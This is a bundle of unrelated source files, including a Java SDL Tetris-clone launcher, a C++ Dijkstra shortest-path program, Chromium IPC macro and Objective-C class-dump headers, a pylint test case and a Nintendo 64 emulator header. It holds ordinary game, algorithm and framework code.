"F10","F11","F12","F13","F14","F15","(297)","(298)","(299)","NUMLOCK","CAPSLOCK","SCROLLOCK","RSHIFT","LSHIFT","RCTRL",
"LCTRL","RALT","LALT","RMETA","LMETA","LSUPER","RSUPER","MODE","COMPOSE","HELP","PRINT","SYSREQ","BREAK","MENU",
"POWER","EURO","UNDO"
};
/** State of the gameID */
public static final int STATE_TITLE = 0,
STATE_CONFIG_MAINMENU = 1,
STATE_CONFIG_RULESELECT = 2,
STATE_CONFIG_GENERAL = 3,
STATE_CONFIG_KEYBOARD = 4,
STATE_CONFIG_JOYSTICK_BUTTON = 5,
STATE_SELECTMODE = 6,
STATE_INGAME = 7,
STATE_REPLAYSELECT = 8,
STATE_CONFIG_AISELECT = 9,
STATE_NETGAME = 10,
STATE_CONFIG_JOYSTICK_MAIN = 11,
STATE_CONFIG_JOYSTICK_TEST = 12,
STATE_CONFIG_GAMETUNING = 13,
STATE_CONFIG_RULESTYLESELECT = 14,
STATE_CONFIG_KEYBOARD_NAVI = 15,
STATE_CONFIG_KEYBOARD_RESET = 16,
STATE_SELECTRULEFROMLIST = 17,
STATE_SELECTMODEFOLDER = 18;
/** State of the gamecount */
public static final int STATE_MAX = 19;
/** To recognize the keyMaximumValue */
public static final int SDL_KEY_MAX = 322;
/** Command that was passed to the programLinesArgumentcount */
public static String[] programArgs;
/** Save settingsUseProperty file */
public static CustomProperties propConfig;
/** Save settingsUseProperty file (AllVersionCommon) */
public static CustomProperties propGlobal;
/** Music ListProperty file */
public static CustomProperties propMusic;
/** ObserverFor the functionProperty file */
public static CustomProperties propObserver;
/** Default language file */
public static CustomProperties propLangDefault;
/** Language file */
public static CustomProperties propLang;
/** Default game mode description file */
public static CustomProperties propDefaultModeDesc;
/** Game mode description file */
public static CustomProperties propModeDesc;
/** Mode Management */
public static ModeManager modeManager;
/** End flag */
public static boolean quit = false;
/** FPSDisplay */
public static boolean showfps = true;
/** FPSFor calculation */
protected static long calcInterval = 0;
/** FPSFor calculation */
protected static long prevCalcTime = 0;
/** frame count */
protected static long frameCount = 0;
/** ActualFPS */
public static double actualFPS = 0.0;
/** FPSDisplayDecimalFormat */
public static DecimalFormat df = new DecimalFormat("0.0");
/** Used by perfect fps mode */
public static long perfectFPSDelay = 0;
/** True to use perfect FPS */
public static boolean perfectFPSMode = false;
/** Execute Thread.yield() during Perfect FPS mode */
public static boolean perfectYield = true;
/** If you hold down the keytrue */
public static boolean[] keyPressedState;
/** UseJoystick Of number */
public static int[] joyUseNumber;
/** Joystick Ignore analog sticks */
public static boolean[] joyIgnoreAxis;
/** Joystick Hat switch ignores */
public static boolean[] joyIgnorePOV;
/** Joystick Ofcount */
public static int joystickMax;
/** Joystick */
public static SDLJoystick[] joystick;
/** Joystick direction key State */
public static int[] joyAxisX, joyAxisY;
/** Joystick Hat switchcount */
public static int[] joyMaxHat;
/** Joystick Hat switch state */
public static HatState[] joyHatState;
/** Joystick Of buttonOfcount */
public static int[] joyMaxButton;
/** Joystick Of buttonIf you press thetrue */
public static boolean[][] joyPressedState;
/** State game */
public static BaseStateSDL[] gameStates;
/** Current State */
public static int currentState;
/** In-game flag (if false, Perfect FPS will not used) */
public static boolean isInGame;
/** Exit buttonYaScreenshot buttonPermission to use */
public static boolean enableSpecialKeys;
/** Exit buttonLicense */
public static boolean allowQuit;
/** true if disable automatic input update */
public static boolean disableAutoInputUpdate;
/** MaximumFPS */
public static int maxFPS;
/** ObserverClient */
public static NetObserverClient netObserverClient;
/**
* Main functioncount
* @param args Argument that was passed to the programcount
*/
public static void main(String[] args) {
PropertyConfigurator.configure("config/etc/log_sdl.cfg");
log.info("NullpoMinoSDL Start");
programArgs = args;
propConfig = new CustomProperties();
propGlobal = new CustomProperties();
propMusic = new CustomProperties();
// Read configuration file
try {
FileInputStream in = new FileInputStream("config/setting/sdl.cfg");
propConfig.load(in);
in.close();
} catch(IOException e) {}
try {
FileInputStream in = new FileInputStream("config/setting/global.cfg");
propGlobal.load(in);
in.close();
} catch(IOException e) {}
try {
FileInputStream in = new FileInputStream("config/setting/music.cfg");
propMusic.load(in);
in.close();
} catch(IOException e) {}
// Read language file
propLangDefault = new CustomProperties();
try {
FileInputStream in = new FileInputStream("config/lang/sdl_default.properties");
propLangDefault.load(in);
in.close();
} catch (IOException e) {
log.error("Failed to load default UI language file", e);
}
propLang = new CustomProperties();
try {
FileInputStream in = new FileInputStream("config/lang/sdl_" + Locale.getDefault().getCountry() + ".properties");
propLang.load(in);
in.close();
} catch(IOException e) {}
// Game mode description
propDefaultModeDesc = new CustomProperties();
try {
FileInputStream in = new FileInputStream("config/lang/modedesc_default.properties");
propDefaultModeDesc.load(in);
in.close();
} catch(IOException e) {
log.error("Couldn't load default mode description file", e);
}
propModeDesc = new CustomProperties();
try {
FileInputStream in = new FileInputStream("config/lang/modedesc_" + Locale.getDefault().getCountry() + ".properties");
propModeDesc.load(in);
in.close();
} catch(IOException e) {}
// ModeRead
modeManager = new ModeManager();
try {
BufferedReader txtMode = new BufferedReader(new FileReader("config/list/mode.lst"));
modeManager.loadGameModes(txtMode);
txtMode.close();
} catch (IOException e) {
log.error("Failed to load game mode list", e);
}
// Set default rule selections
try {
CustomProperties propDefaultRule = new CustomProperties();
FileInputStream in = new FileInputStream("config/list/global_defaultrule.properties");
propDefaultRule.load(in);
in.close();
for(int pl = 0; pl < 2; pl++)
for(int i = 0; i < GameEngine.MAX_GAMESTYLE; i++) {
// TETROMINO
if(i == 0) {
if(propGlobal.getProperty(pl + ".rule") == null) {
propGlobal.setProperty(pl + ".rule", propDefaultRule.getProperty("default.rule", ""));
propGlobal.setProperty(pl + ".rulefile", propDefaultRule.getProperty("default.rulefile", ""));
propGlobal.setProperty(pl + ".rulename", propDefaultRule.getProperty("default.rulename", ""));
}
}
// etc
else {
if(propGlobal.getProperty(pl + ".rule." + i) == null) {
propGlobal.setProperty(pl + ".rule." + i, propDefaultRule.getProperty("default.rule." + i, ""));
propGlobal.setProperty(pl + ".rulefile." + i, propDefaultRule.getProperty("default.rulefile." + i, ""));
propGlobal.setProperty(pl + ".rulename." + i, propDefaultRule.getProperty("default.rulename." + i, ""));
}
}
}
} catch (Exception e) {}
// Key input OfInitialization
keyPressedState = new boolean[SDL_KEY_MAX];
GameKeySDL.initGlobalGameKeySDL();
GameKeySDL.gamekey[0].loadConfig(propConfig);
GameKeySDL.gamekey[1].loadConfig(propConfig);
MouseInputSDL.initalizeMouseInput();
// State initialization
currentState = -1;
gameStates = new BaseStateSDL[STATE_MAX];
gameStates[STATE_TITLE] = new StateTitleSDL();
gameStates[STATE_CONFIG_MAINMENU] = new StateConfigMainMenuSDL();
gameStates[STATE_CONFIG_RULESELECT] = new StateConfigRuleSelectSDL();
gameStates[STATE_CONFIG_GENERAL] = new StateConfigGeneralSDL();
gameStates[STATE_CONFIG_KEYBOARD] = new StateConfigKeyboardSDL();
gameStates[STATE_CONFIG_JOYSTICK_BUTTON] = new StateConfigJoystickButtonSDL();
gameStates[STATE_SELECTMODE] = new StateSelectModeSDL();
gameStates[STATE_INGAME] = new StateInGameSDL();
gameStates[STATE_REPLAYSELECT] = new StateReplaySelectSDL();
gameStates[STATE_CONFIG_AISELECT] = new StateConfigAISelectSDL();
gameStates[STATE_NETGAME] = new StateNetGameSDL();
gameStates[STATE_CONFIG_JOYSTICK_MAIN] = new StateConfigJoystickMainSDL();
gameStates[STATE_CONFIG_JOYSTICK_TEST] = new StateConfigJoystickTestSDL();
gameStates[STATE_CONFIG_GAMETUNING] = new StateConfigGameTuningSDL();
gameStates[STATE_CONFIG_RULESTYLESELECT] = new StateConfigRuleStyleSelectSDL();
gameStates[STATE_CONFIG_KEYBOARD_NAVI] = new StateConfigKeyboardNaviSDL();
gameStates[STATE_CONFIG_KEYBOARD_RESET] = new StateConfigKeyboardResetSDL();
gameStates[STATE_SELECTRULEFROMLIST] = new StateSelectRuleFromListSDL();
gameStates[STATE_SELECTMODEFOLDER] = new StateSelectModeFolderSDL();
// Mac? Too bad.
if(System.getProperty("os.name").contains("Mac OS")) {
String strErrorTitle = getUIText("InitFailedMessageMac_Title");
String strErrorMessage = getUIText("InitFailedMessageMac_Body");
JOptionPane.showMessageDialog(null, strErrorMessage, strErrorTitle, JOptionPane.ERROR_MESSAGE);
System.exit(-2);
}
// SDL init
try {
init();
} catch (Throwable e) {
// Init failed
log.fatal("SDL init failed", e);
// Show error dialog. But unfortunately, most SDL-related-failure are not catchable...
// (Maybe) x64?
if(System.getProperty("os.arch").contains("64")) {
String strErrorTitle = getUIText("InitFailedMessage64bit_Title");
String strErrorMessage = String.format(getUIText("InitFailedMessage64bit_Body"), e.toString());
JOptionPane.showMessageDialog(null, strErrorMessage, strErrorTitle, JOptionPane.ERROR_MESSAGE);
}
// Other
else {
String strErrorTitle = getUIText("InitFailedMessageGeneral_Title");
String strErrorMessage = String.format(getUIText("InitFailedMessageGeneral_Body"), e.toString());
JOptionPane.showMessageDialog(null, strErrorMessage, strErrorTitle, JOptionPane.ERROR_MESSAGE);
}
System.exit(-1);
}
// Run
try {
run();
} catch (Throwable e) {
log.fatal("Uncaught Exception", e);
} finally {
shutdown();
}
System.exit(0);
}
/**
* SDLOfInitialization
* @throws SDLException SDLIf an error has occurred
*/
public static void init() throws SDLException {
log.info("Now initializing SDL...");
SDLMain.init(SDLMain.SDL_INIT_VIDEO | SDLMain.SDL_INIT_AUDIO | SDLMain.SDL_INIT_JOYSTICK);
SDLVersion ver = SDLMain.getSDLVersion();
log.info("SDL Version:" + ver.getMajor() + "." + ver.getMinor() + "." + ver.getPatch());
SDLVideo.wmSetCaption("NullpoMino (Now Loading...)", null);
long flags = SDLVideo.SDL_ANYFORMAT | SDLVideo.SDL_DOUBLEBUF | SDLVideo.SDL_HWSURFACE;
if(propConfig.getProperty("option.fullscreen", false) == true) flags |= SDLVideo.SDL_FULLSCREEN;
SDLVideo.setVideoMode(640, 480, 0, flags);
SDLTTF.init();
SDLVersion ttfver = SDLTTF.getTTFVersion();
log.info("TTF Version:" + ttfver.getMajor() + "." + ttfver.getMinor() + "." + ttfver.getPatch());
SDLMixer.openAudio(44100, SDLMixer.AUDIO_S16SYS, 2, propConfig.getProperty("option.soundbuffer", 1024));
joyUseNumber = new int[2];
joyUseNumber[0] = propConfig.getProperty("joyUseNumber.p0", -1);
joyUseNumber[1] = propConfig.getProperty("joyUseNumber.p1", -1);
joyIgnoreAxis = new boolean[2];
joyIgnoreAxis[0] = propConfig.getProperty("joyIgnoreAxis.p0", false);
joyIgnoreAxis[1] = propConfig.getProperty("joyIgnoreAxis.p1", false);
joyIgnorePOV = new boolean[2];
joyIgnorePOV[0] = propConfig.getProperty("joyIgnorePOV.p0", false);
joyIgnorePOV[1] = propConfig.getProperty("joyIgnorePOV.p1", false);
joystickMax = SDLJoystick.numJoysticks();
log.info("Number of Joysticks:" + joystickMax);
if(joystickMax > 0) {
joystick = new SDLJoystick[joystickMax];
joyAxisX = new int[joystickMax];
joyAxisY = new int[joystickMax];
joyMaxHat = new int[joystickMax];
joyMaxButton = new int[joystickMax];
joyHatState = new HatState[joystickMax];
int max = 0;
for(int i = 0; i < joystickMax; i++) {
try {
joystick[i] = SDLJoystick.joystickOpen(i);
joyMaxButton[i] = joystick[i].joystickNumButtons();
if(joyMaxButton[i] > max) max = joyMaxButton[i];
joyMaxHat[i] = joystick[i].joystickNumHats();
joyHatState[i] = null;
} catch (Throwable e) {
log.warn("Failed to open Joystick #" + i, e);
}
}
joyPressedState = new boolean[joystickMax][max];
}
}
/**
* Main loop
* @throws SDLException SDLIf an error has occurred
*/
public static void run() throws SDLException {
maxFPS = propConfig.getProperty("option.maxfps", 60);
boolean sleepFlag;
long period;
long beforeTime, afterTime, timeDiff, sleepTime, sleepTimeInMillis;
long overSleepTime = 0L;
int noDelays = 0;
showfps = propConfig.getProperty("option.showfps", true);
perfectFPSMode = propConfig.getProperty("option.perfectFPSMode", false);
perfectYield = propConfig.getProperty("option.perfectYield", false);
beforeTime = System.nanoTime();
prevCalcTime = beforeTime;
quit = false;
enableSpecialKeys = true;
allowQuit = true;
SDLSurface surface = SDLVideo.getVideoSurface();
// Reading, such as image
ResourceHolderSDL.load();
NormalFontSDL.dest = surface;
// First run
if(propConfig.getProperty("option.firstSetupMode", true) == true) {
// Set various default settings here
GameKeySDL.gamekey[0].loadDefaultKeymap();
GameKeySDL.gamekey[0].saveConfig(propConfig);
propConfig.setProperty("option.firstSetupMode", false);
// Set default rotation button setting (only for first run)
if(propGlobal.getProperty("global.firstSetupMode", true) == true) {
for(int pl = 0; pl < 2; pl++) {
if(propGlobal.getProperty(pl + ".tuning.owRotateButtonDefaultRight") == null) {
propGlobal.setProperty(pl + ".tuning.owRotateButtonDefaultRight", 0);
}
}
propGlobal.setProperty("global.firstSetupMode", false);
}
// Save settings
saveConfig();
// Go to title screen
enterState(STATE_TITLE);
}
// Second+ run
else {
enterState(STATE_TITLE);
}
perfectFPSDelay = System.nanoTime();
// Main loop
while(quit == false) {
// event Processing
processEvent();
if(quit == true) break;
// Joystick Updates
if(joystickMax > 0) joyUpdate();
// Update key input states
if(!disableAutoInputUpdate) {
for(int i = 0; i < 2; i++) {
int joynum = joyUseNumber[i];
if((joystickMax > 0) && (joynum >= 0) && (joynum < joystickMax)) {
GameKeySDL.gamekey[i].update(keyPressedState, joyPressedState[joynum], joyAxisX[joynum], joyAxisY[joynum], joyHatState[joynum]);
} else {
GameKeySDL.gamekey[i].update(keyPressedState);
}
}
}
// Processing is executed for each state
gameStates[currentState].update();
gameStates[currentState].render(surface);
// FPSDrawing
if(showfps) NormalFontSDL.printFont(0, 480 - 16, NullpoMinoSDL.df.format(NullpoMinoSDL.actualFPS), NormalFontSDL.COLOR_BLUE, 1.0f);
// ObserverClient
if((netObserverClient != null) && netObserverClient.isConnected()) {
int fontcolor = NormalFontSDL.COLOR_BLUE;
if(netObserverClient.getObserverCount() > 1) fontcolor = NormalFontSDL.COLOR_GREEN;
if(netObserverClient.getObserverCount() > 0 && netObserverClient.getPlayerCount() > 0) fontcolor = NormalFontSDL.COLOR_RED;
String strObserverInfo = String.format("%d/%d", netObserverClient.getObserverCount(), netObserverClient.getPlayerCount());
String strObserverString = String.format("%40s", strObserverInfo);
NormalFontSDL.printFont(0, 480 - 16, strObserverString, fontcolor);
}
// Special key
if(enableSpecialKeys) {
// Screenshot
if(GameKeySDL.gamekey[0].isPushKey(GameKeySDL.BUTTON_SCREENSHOT) || GameKeySDL.gamekey[1].isPushKey(GameKeySDL.BUTTON_SCREENSHOT))
saveScreenShot();
// Exit button
if(allowQuit) {
if(GameKeySDL.gamekey[0].isPushKey(GameKeySDL.BUTTON_QUIT) || GameKeySDL.gamekey[1].isPushKey(GameKeySDL.BUTTON_QUIT))
enterState(-1);
}
}
// Displayed on the screen
surface.flip();
// FPS cap
sleepFlag = false;
afterTime = System.nanoTime();
timeDiff = afterTime - beforeTime;
period = (long) (1.0 / maxFPS * 1000000000);
sleepTime = (period - timeDiff) - overSleepTime;
sleepTimeInMillis = sleepTime / 1000000L;
if((sleepTimeInMillis >= 4) && (!perfectFPSMode || !isInGame)) {
// If it is possible to use sleep
if(maxFPS > 0) {
try {
Thread.sleep(sleepTimeInMillis);
} catch(InterruptedException e) {}
}
// sleep() oversleep
overSleepTime = (System.nanoTime() - afterTime) - sleepTime;
perfectFPSDelay = System.nanoTime();
sleepFlag = true;
} else if((perfectFPSMode && isInGame) || (sleepTime > 0)) {
// Perfect FPS
overSleepTime = 0L;
if(perfectYield) {
while(System.nanoTime() < perfectFPSDelay + 1000000000 / maxFPS) {Thread.yield();}
} else {
while(System.nanoTime() < perfectFPSDelay + 1000000000 / maxFPS) {}
}
perfectFPSDelay += 1000000000 / maxFPS;
// Don't run in super fast after the heavy slowdown
if(System.nanoTime() > perfectFPSDelay + 2000000000 / maxFPS) {
perfectFPSDelay = System.nanoTime();
}
sleepFlag = true;
}
if(!sleepFlag) {
// Impossible to sleep!
overSleepTime = 0L;
if(++noDelays >= 16) {
Thread.yield();
noDelays = 0;
}
perfectFPSDelay = System.nanoTime();
}
beforeTime = System.nanoTime();
calcFPS(period);
}
}
/**
* SDLEnd processing of
*/
public static void shutdown() {
log.info("NullpoMinoSDL shutdown()");
try {
stopObserverClient();
for(int i = 0; i < joystickMax; i++) {
joystick[i].joystickClose();
}
SDLMixer.close();
SDLMain.quit();
} catch (Throwable e) {}
}
/**
* Switching state
* @param id Destination state switchingID (-1Ends at)
* @throws SDLException SDLIf an error has occurred
*/
public static void enterState(int id) throws SDLException {
if((currentState >= 0) && (currentState < STATE_MAX) && (gameStates[currentState] != null)) {
gameStates[currentState].leave();
}
if((id >= 0) && (id < STATE_MAX) && (gameStates[id] != null)) {
currentState = id;
gameStates[currentState].enter();
} else if(id < 0) {
quit = true;
} else {
throw new NullPointerException("Game state #" + id + " is null");
}
}
/**
* Save the configuration file
*/
public static void saveConfig() {
try {
FileOutputStream out = new FileOutputStream("config/setting/sdl.cfg");
propConfig.store(out, "NullpoMino SDL-frontend Config");
out.close();
log.debug("Saved SDL-frontend config");
} catch(IOException e) {
log.error("Failed to save SDL-specific config", e);
}
try {
FileOutputStream out = new FileOutputStream("config/setting/global.cfg");
propGlobal.store(out, "NullpoMino Global Config");
out.close();
log.debug("Saved global config");
} catch(IOException e) {
log.error("Failed to save global config", e);
}
}
/**
* (Re-)Load global config file
*/
public static void loadGlobalConfig() {
try {
FileInputStream in = new FileInputStream("config/setting/global.cfg");
propGlobal.load(in);
in.close();
} catch(IOException e) {}
}
/**
* ScreenshotSave the
* @throws SDLException If I fail to save
*/
public static void saveScreenShot() throws SDLException {
// FilenameI decided to
String dir = NullpoMinoSDL.propGlobal.getProperty("custom.screenshot.directory", "ss");
Calendar c = Calendar.getInstance();
DateFormat dfm = new SimpleDateFormat("yyyy_MM_dd_HH_mm_ss");
String filename = dir + "/" + dfm.format(c.getTime()) + ".bmp";
log.info("Saving screenshot to " + filename);
File ssfolder = new File(dir);
if (!ssfolder.exists()) {
if (ssfolder.mkdir()) {
log.info("Created screenshot folder: " + dir);
} else {
log.info("Couldn't create screenshot folder at "+ dir);
}
}
// Save to File
SDLVideo.getVideoSurface().saveBMP(filename);
}
/**
* So you can draw the image properly protrude outside the screenSDLRectModify the
* @param rectSrc FixSDLRect (Rendering source)
* @param rectDst FixSDLRect (Which to draw)
*/
public static void fixRect(SDLRect rectSrc, SDLRect rectDst) {
if(rectSrc == null) return;
if(rectDst == null) return;
if(rectDst.x < 0) {
int prevX = rectDst.x;
rectDst.width += prevX;
rectDst.x = 0;
rectSrc.width += prevX;
rectSrc.x -= prevX;
}
if(rectDst.y < 0) {
int prevY = rectDst.y;
rectDst.height += prevY;
rectDst.y = 0;
rectSrc.height += prevY;
rectSrc.y -= prevY;
}
}
/**
* PosttranslationalUIGets a string of
* @param str String
* @return PosttranslationalUIString (If you do not acceptstrReturns)
*/
public static String getUIText(String str) {
String result = propLang.getProperty(str);
if(result == null) {
result = propLangDefault.getProperty(str, str);
}
return result;
}
/**
* event Processing
* @throws SDLException SDLIf an error has occurred
*/
protected static void processEvent() throws SDLException {
while(true) {
SDLEvent event = SDLEvent.pollEvent();
if(event == null) break;
if(event instanceof SDLQuitEvent) {
// Exit button
enterState(-1);
} else if(event instanceof SDLKeyboardEvent) {
// Key input
SDLKeyboardEvent keyevent = (SDLKeyboardEvent)event;
int keysym = keyevent.getSym();
if(keyevent.getType() == SDLKeyboardEvent.SDL_KEYDOWN) {
if(keysym < keyPressedState.length) keyPressedState[keysym] = true;
} else if(keyevent.getType() == SDLKeyboardEvent.SDL_KEYUP) {
if(keysym < keyPressedState.length) keyPressedState[keysym] = false;
}
}
}
}
/**
* Joystick stateUpdates
*/
protected static void joyUpdate() {
try {
SDLJoystick.joystickUpdate();
for(int i = 0; i < joystickMax; i++) {
if(joyIgnoreAxis[i] == false) {
joyAxisX[i] = joystick[i].joystickGetAxis(0);
joyAxisY[i] = joystick[i].joystickGetAxis(1);
} else {
joyAxisX[i] = 0;
joyAxisY[i] = 0;
}
for(int j = 0; j < joyMaxButton[i]; j++) {
joyPressedState[i][j] = joystick[i].joystickGetButton(j);
}
if((joyMaxHat[i] > 0) && (joyIgnorePOV[i] == false)) {
joyHatState[i] = joystick[i].joystickGetHat(0);
} else {
joyHatState[i] = null;
}
}
} catch (Throwable e) {
log.warn("Joystick state update failed", e);
}
}
/**
* FPSCalculation of
* @param period FPSInterval to calculate the
*/
protected static void calcFPS(long period) {
frameCount++;
calcInterval += period;
// 1Second intervalsFPSRecalculate the
if(calcInterval >= 1000000000L) {
long timeNow = System.nanoTime();
// Actual elapsed timeMeasure
long realElapsedTime = timeNow - prevCalcTime; // Unit: ns
// FPSCalculate the
// realElapsedTimeThe unit ofnsSosConverted to
actualFPS = ((double) frameCount / realElapsedTime) * 1000000000L;
frameCount = 0L;
calcInterval = 0L;
prevCalcTime = timeNow;
}
}
/**
* ObserverStart the client
*/
public static void startObserverClient() {
log.debug("startObserverClient called");
propObserver = new CustomProperties();
try {
FileInputStream in = new FileInputStream("config/setting/netobserver.cfg");
propObserver.load(in);
in.close();
} catch (IOException e) {}
if(propObserver.getProperty("observer.enable", false) == false) return;
if((netObserverClient != null) && netObserverClient.isConnected()) return;
String host = propObserver.getProperty("observer.host", "");
int port = propObserver.getProperty("observer.port", NetObserverClient.DEFAULT_PORT);
if((host.length() > 0) && (port > 0)) {
netObserverClient = new NetObserverClient(host, port);
netObserverClient.start();
}
}
/**
* ObserverStop the client
*/
public static void stopObserverClient() {
log.debug("stopObserverClient called");
if(netObserverClient != null) {
if(netObserverClient.isConnected()) {
netObserverClient.send("disconnect\n");
}
netObserverClient.threadRunning = false;
netObserverClient.connectedFlag = false;
netObserverClient = null;
}
propObserver = null;
}
}
| 12,576 |
678 | <filename>iOSOpenDev/frameworks/OfficeImport.framework/Headers/OABDrawing.h<gh_stars>100-1000
/**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/OfficeImport.framework/OfficeImport
*/
#import <OfficeImport/XXUnknownSuperclass.h>
__attribute__((visibility("hidden")))
@interface OABDrawing : XXUnknownSuperclass {
}
+ (id)readDrawablesFromDrawing:(id)drawing state:(id)state; // 0x9901
+ (id)readBackgroundPropertiesFromDrawing:(id)drawing state:(id)state; // 0x89849
+ (void)applyRulesFromSolverContainer:(id)solverContainer state:(id)state; // 0x14d4ed
+ (unsigned long)addShapeIdForObject:(id)object; // 0x2fb70d
@end
| 233 |
1,210 | <gh_stars>1000+
#include <cstdio>
#define INF 1000000000
#define VERTEX_COUNT 100010
#define EDGE_COUNT 1000010
using namespace std;
struct vertex
{
int first_edge;
int dis, hpos;
}V[VERTEX_COUNT];
struct edge
{
int endp, next;
int w;
}E[EDGE_COUNT];
int ec = 1;
int ivc, iec;
int H[VERTEX_COUNT], pos[VERTEX_COUNT];
int heapsize;
void add_edge(int u, int v, int w)
{
E[ec].next = V[u].first_edge;
V[u].first_edge = ec;
E[ec].endp = v;
E[ec].w = w;
ec++;
}
void initial_single_source(int s)
{
for (int i = 1; i <= ivc; i++)
{
V[i].dis = INF;
}
V[s].dis = 0;
}
void build_heap(int s)
{
heapsize = ivc;
for (int i = 1; i <= ivc; i++)
{
H[i] = i;
pos[i] = i;
}
H[s] = 1;
pos[1] = s;
H[1] = s;
pos[s] = 1;
}
void heap_sink(int i)
{
int lch = i << 1;
int rch = lch + 1;
int smallest = i;
if (lch <= heapsize && V[H[lch]].dis < V[H[smallest]].dis)
{
smallest = lch;
}
if (rch <= heapsize && V[H[rch]].dis < V[H[smallest]].dis)
{
smallest = rch;
}
if (smallest != i)
{
V[H[smallest]].hpos = i;
V[H[i]].hpos = smallest;
int temp = H[i];
H[i] = H[smallest];
H[smallest] = temp;
heap_sink(smallest);
}
}
void heap_float(int i)
{
int p = i >> 1;
while (p >= 1 && V[H[i]].dis < V[H[p]].dis)
{
pos[H[i]] = p;
pos[H[p]] = i;
int temp = H[i];
H[i] = H[p];
H[p] = temp;
i = p;
p = i >> 1;
}
}
int extract_min()
{
int res = H[1];
H[1] = H[heapsize--];
pos[H[1]] = 1;
heap_sink(1);
return res;
}
void Dijkstra(int s)
{
initial_single_source(s);
build_heap(s);
while (heapsize > 0)
{
int u = extract_min();
for (int cur = V[u].first_edge; cur != 0; cur = E[cur].next)
{
int newpath = V[u].dis + E[cur].w;
if (newpath < V[E[cur].endp].dis)
{
V[E[cur].endp].dis = newpath;
heap_float(pos[E[cur].endp]);
}
}
}
}
int main()
{
scanf("%d%d", &ivc, &iec);
for (int i = 0; i < iec; i++)
{
int u, v, w;
scanf("%d%d%d", &u, &v, &w);
add_edge(u, v, w);
}
Dijkstra(1);
printf("%d", V[ivc].dis);
return 0;
}
| 1,115 |
14,668 | // Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Protobuf Messages over IPC
//
// Protobuf messages are registered with IPC_PROTOBUF_MESSAGE_TRAITS_BEGIN() and
// friends in much the same way as other externally-defined structs (see
// ipc/ipc_message_macros.h). These macros also cause only registration of the
// protobuf message type IPC with message generation. Within matching calls to
// _BEGIN() and _END(), one may use:
// - IPC_PROTOBUF_MESSAGE_TRAITS_OPTIONAL_FUNDAMENTAL_MEMBER() to register an
// optional field of fundamental type (any scalar message field type save
// "string" and "bytes").
// - IPC_PROTOBUF_MESSAGE_TRAITS_OPTIONAL_COMPLEX_MEMBER() to register an
// optional field of complex type (scalar message field type "string" or
// "bytes", or another message type).
// - IPC_PROTOBUF_MESSAGE_TRAITS_REPEATED_COMPLEX_MEMBER() to register a
// repeated field of complex type (scalar message field type "string" or
// "bytes", or another message type).
//
// Enum types in protobuf messages are registered with
// IPC_ENUM_TRAITS_VALIDATE() as with any other enum. In this case, the
// validation expression should be the _IsValid() function provided by the
// generated protobuf code. For example:
//
// IPC_ENUM_TRAITS_VALIDATE(MyEnumType, MyEnumType_IsValid(value))
#ifndef CHROME_COMMON_SAFE_BROWSING_IPC_PROTOBUF_MESSAGE_MACROS_H_
#define CHROME_COMMON_SAFE_BROWSING_IPC_PROTOBUF_MESSAGE_MACROS_H_
#include <string>
#define IPC_PROTOBUF_MESSAGE_TRAITS_BEGIN(message_name) \
namespace IPC { \
template <> \
struct IPC_MESSAGE_EXPORT ParamTraits<message_name> { \
typedef message_name param_type; \
static void Write(base::Pickle* m, const param_type& p); \
static bool Read(const base::Pickle* m, \
base::PickleIterator* iter, \
param_type* p); \
static void Log(const param_type& p, std::string* l); \
\
private: \
template <class P> \
static bool ReadParamF(const base::Pickle* m, \
base::PickleIterator* iter, \
param_type* p, \
void (param_type::*setter_function)(P)); \
}; \
} // namespace IPC
#define IPC_PROTOBUF_MESSAGE_TRAITS_OPTIONAL_FUNDAMENTAL_MEMBER(name)
#define IPC_PROTOBUF_MESSAGE_TRAITS_OPTIONAL_COMPLEX_MEMBER(name)
#define IPC_PROTOBUF_MESSAGE_TRAITS_REPEATED_COMPLEX_MEMBER(name)
#define IPC_PROTOBUF_MESSAGE_TRAITS_END()
#endif // CHROME_COMMON_SAFE_BROWSING_IPC_PROTOBUF_MESSAGE_MACROS_H_
| 1,591 |
463 | <filename>vimfiles/bundle/vim-python/submodules/pylint/tests/functional/n/no/no_method_argument_py38.py
# pylint: disable=missing-docstring,too-few-public-methods
class Cls:
def __init__(self, obj, /):
self.obj = obj
| 94 |
678 | /**
* This header is generated by class-dump-z 0.2b.
*
* Source: /System/Library/PrivateFrameworks/OfficeImport.framework/OfficeImport
*/
#import <OfficeImport/XXUnknownSuperclass.h>
@class PDPresentation, OAXTableStyleCache, OAVState, NSMutableDictionary, OAXDrawingState;
@protocol OCCancelDelegate;
__attribute__((visibility("hidden")))
@interface PXPresentationState : XXUnknownSuperclass {
@private
NSMutableDictionary *mModelObjects; // 4 = 0x4
OAXDrawingState *mOfficeArtState; // 8 = 0x8
OAVState *mOAVState; // 12 = 0xc
OAXTableStyleCache *mTableStyleCache; // 16 = 0x10
NSMutableDictionary *mSlideURLToIndexMap; // 20 = 0x14
PDPresentation *mTgtPresentation; // 24 = 0x18
id<OCCancelDelegate> mCancel; // 28 = 0x1c
}
@property(retain, nonatomic) id<OCCancelDelegate> cancelDelegate; // G=0x1c71a5; S=0x1aad15; @synthesize=mCancel
@property(retain) id tgtPresentation; // G=0x1af385; S=0x1aad3d; converted property
- (id)init; // 0x1aaa29
- (void)dealloc; // 0x1b2259
- (id)oavState; // 0x21bc91
- (id)modelObjectForLocation:(id)location; // 0x1b2099
- (void)setModelObject:(id)object forLocation:(id)location; // 0x1b1d55
- (id)officeArtState; // 0x1ab269
- (void)resetOfficeArtState; // 0x1b164d
- (id)tableStyleCache; // 0x1ab111
- (int)slideIndexForSlideURL:(id)slideURL; // 0x2007a5
- (void)setSlideIndex:(int)index forSlideURL:(id)slideURL; // 0x1ab0a1
// converted property getter: - (id)tgtPresentation; // 0x1af385
// converted property setter: - (void)setTgtPresentation:(id)presentation; // 0x1aad3d
- (BOOL)isCancelled; // 0x1ac4e1
// declared property getter: - (id)cancelDelegate; // 0x1c71a5
// declared property setter: - (void)setCancelDelegate:(id)delegate; // 0x1aad15
@end
| 694 |
335 | #ifndef __Z64_H__
#define __Z64_H__
#include <stdio.h>
#include <stdint.h>
#include <retro_inline.h>
#define SP_INTERRUPT 0x1
#define SI_INTERRUPT 0x2
#define AI_INTERRUPT 0x4
#define VI_INTERRUPT 0x8
#define PI_INTERRUPT 0x10
#define DP_INTERRUPT 0x20
#define SP_STATUS_HALT 0x0001
#define SP_STATUS_BROKE 0x0002
#define SP_STATUS_DMABUSY 0x0004
#define SP_STATUS_DMAFULL 0x0008
